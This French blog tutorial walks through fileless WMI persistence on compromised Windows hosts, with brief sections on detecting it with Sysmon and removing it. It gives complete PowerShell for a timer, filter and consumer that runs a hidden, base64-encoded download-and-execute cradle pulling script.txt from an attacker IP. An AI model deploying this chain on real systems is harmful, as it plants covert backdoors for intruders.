Persistance Windows WMI

Garder la main sur une machine compromise

Posté par Matthieu le 2 mars 2020

Aujourd'hui, je vous propose de nous aventurer dans le monde sombre mais passionnant du Red Teaming Windows ...

Nous tâcherons d'expliquer un moyen de persistance discrète et efficace afin de ne pas perdre l'accès aux machines Windows compromises.Nous verrons aussi brièvement les moyens de détection et d'éradication de cette technique.

La persistance

S'il y a bien un terme qui revient de manière récurrente quand on parle d'APT ou même d'engagement red team, c'est la persistance. C'est ce qui différencie le simple pentest visant à mettre à l'épreuve les moyens de sécurité d'une entreprise, de l’attaque sophistiquée qui vise à maintenir un accès pour mener des actions post-exploitation.

Pour ce faire, plusieurs techniques sont connues et utilisées par défaut par les C2 les plus mainstream du marché (metasploit, Empire, ... ).

Examinons par exemple la commande "run peristence" de meterpreter :

meterpreter > run persistance -U -i 5 -p 443 -r ip
[*] Creating a persistent agent: LHOST=ip LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistance/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >
			

Regardons de plus près cet extrait tout droit sorti du blog d'Offensive-Security (les créateurs de Metasploit) :

  • Une charge meterpreter VBS est générée puis posée sur le disque dans C:\Windows\Temp
  • Une clef de registre "autorun" est crée dans HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
  • Cette clef de registre pointe évidement sur notre charge afin qu'elle soit lancée a chaque redémarrage de la machine

Maintenant, si la machine vient à être redémarrée, elle contactera immédiatement le C2 et nous serons en mesure de récupérer notre shell ... Oui mais non !

En effet, dans un premier temps votre charge sera supprimée avant même que vous n'ayez pu créer le clef de registre (Et oui, une charge meterpreter de base en 2020 ... ça ne passe plus !).Ensuite le moindre système de détection détectera la modification de cette clef "autorun" et fera remonter une alerte à un potentiel SOC... Nous voulons éviter cela a tout prix !

Évidement, cette clef de registre n'est pas la seule à offrir un moyen de persistance. Il est inutile (impossible) d'énumérer toutes les techniques, cependant MITRE propose une belle liste disponible ici.

Nous voulons donc un moyen de persistance :

  • File-less : sans poser aucun fichiers sur la machine
  • Discrète
  • Méconnue des services de détection/supervision

Persistance avec WMI

"WMI (Windows Management Instrumentation) est un système de gestion interne de Windows qui permet de contrôler et surveiller les ressources systèmes." (Malekal.com).
Il s'agit d'un outil fortement utilisé lors de pentest Windows (Notamment pour faire du mouvement latéral). Une de ses fonctionnalités intéressantes est la possibilité de surveiller des événements sur la machine : création de process, connexion d'utilisateurs, ect ... Ainsi que d’exécuter une action quand un de ces événements est enregistré (exécuter une commande par exemple ...)

Nous allons donc mettre en place un "event watcher" via WMI et lui ordonner de contacter notre serveur lorsqu'un événements est enregistré, pour cela nous aurons besoin de :

  • Un événement WMI : Il s'agira pour nous d'un timer ...
  • Un filtre qui s'occupera de surveiller cette événement
  • Une action a effectuer lorsque le filtre détectera l'événement

Pour commencer, créons notre événement :

$TimerArgs = @{
    IntervalBetweenEvents = ([UInt32] 10000) # 43200000 to trigger every 12 hours
    SkipIfPassed = $False
    TimerId = 'Timer'
}

Maintenant, nous devons creer notre Timer :

   $Timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments $TimerArgs
 

Notre événement est prêt. Reste à créer un filtre qui surveille notre timer : il s'agit simplement d'une requête WQL (Windows Management Instrumentation Query Language)

$EventFilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = $EventFilterName
    Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Timer'"
    QueryLanguage = 'WQL'
}

Instancions notre filtre de la même manière que plus haut :

  PS C:\> $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

Maintenant, il nous reste à ajouter l'action que nous voulons effectuer. Etant donné que nous ne voulons pas un nouveau shell qui apparaît toutes les 10 minutes, nous allons faire un payload qui contacte un serveur web à la recherche des actions à effectuer. Dans la plupart des cas, nous ne lui donnerons rien mais si nous perdons notre shell, il suffira de lui donner une charge et d'attendre 10 minutes afin de récupérer l'accès !

Cette idée me vient tout droit du super livre "How to hack like a God"
  PS C:\> $payload = 'IEW(New-Object Net.WebClient).downloadString("http://192.168.80.141/script.txt")'
PS C:\> $encPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
PS C:\> $finalPayload = "powershell.exe -NoP -sta -NonI -w Hidden -Enc $encPayload"

Mettons ce payload dans notre "Consumer" et instancions le :

  PS C:\Windows\system32> $CommandLineConsumerArgs = @{
     Name = $EventConsumerName
     CommandLineTemplate = $finalPayload
 }
PS C:\Windows\system32> $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

Pour finir, il ne nous reste plus qu'à lier le Consumer et le Filtre :

  PS C:\Windows\system32> $FilterToConsumerArgs = @{
     Filter = $Filter
     Consumer = $Consumer
 }
PS C:\Windows\system32> $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

Si nous regardons maintenant du coté de notre machine attaquante :

Nous remarquons bien notre machine compromise qui nous contacte toutes les 10 secondes ! Évidement, elle essaye de récupérer "script.txt" qui n'existe pas, mais si nous le créons et y mettons une charge empire :

Nous voila donc en mesure d'obtenir une persistance sur une machine compromise par le biais de WMI.

Détection

Nous venons donc de voir une technique de persistance efficace orientée Red-Team, mais il est aussi essentiel d'avoir une vision Blue-Team afin de mieux comprendre les traces que l'on peut laisser sur le système compromis.

Ainsi, j'ai monté un petit domaine Windows avec Sysmon afin de visualiser le plus d'événements relatifs à cette attaque.

Après avoir rejoué l'attaque de persistance décrite ci-dessus, voici les événements Sysmons visibles :

Sysmon a bien vu que nous avons joué avec les événments WMI et nous le fait remonter !

Il va même plus loin puisqu'il récupère toutes les informations importantes, notamment la commande exécutée par le Consumer :

Suppression

Après l'avoir détecté, il est favorable de supprimer la persistance afin de limiter le risque que l'attaquant puisse revenir facilement. La méthode la plus simple est d'utiliser l'outil "Autoruns" de la suite sysinternals.

L'outil detecte automatiquement les événements WMI et permet de les supprimer simplement.

Conclusion

Pour conclure, on pourrait relever le fait que une machine cliente qui contacte un serveur en http toutes les 10 secondes précisément n'est pas super discret. En cas de Red Teaming, il est bien sur évident qu'on pourrait augmenter le délais du timer ou bien de faire en sorte exécuter le payload lorsqu'un autre événement est déclenché...

Nous aurons aussi démontré que cette technique reste quand même facile à détecter via des moyens de détections classiques et gratuits.

Il s'agissait de mon premier article Red-Team Windows, j'espère que ce genre de contenu plaira puisque le prochain article sera sur le même thème !

Happy hacking !

37 Coeur(s)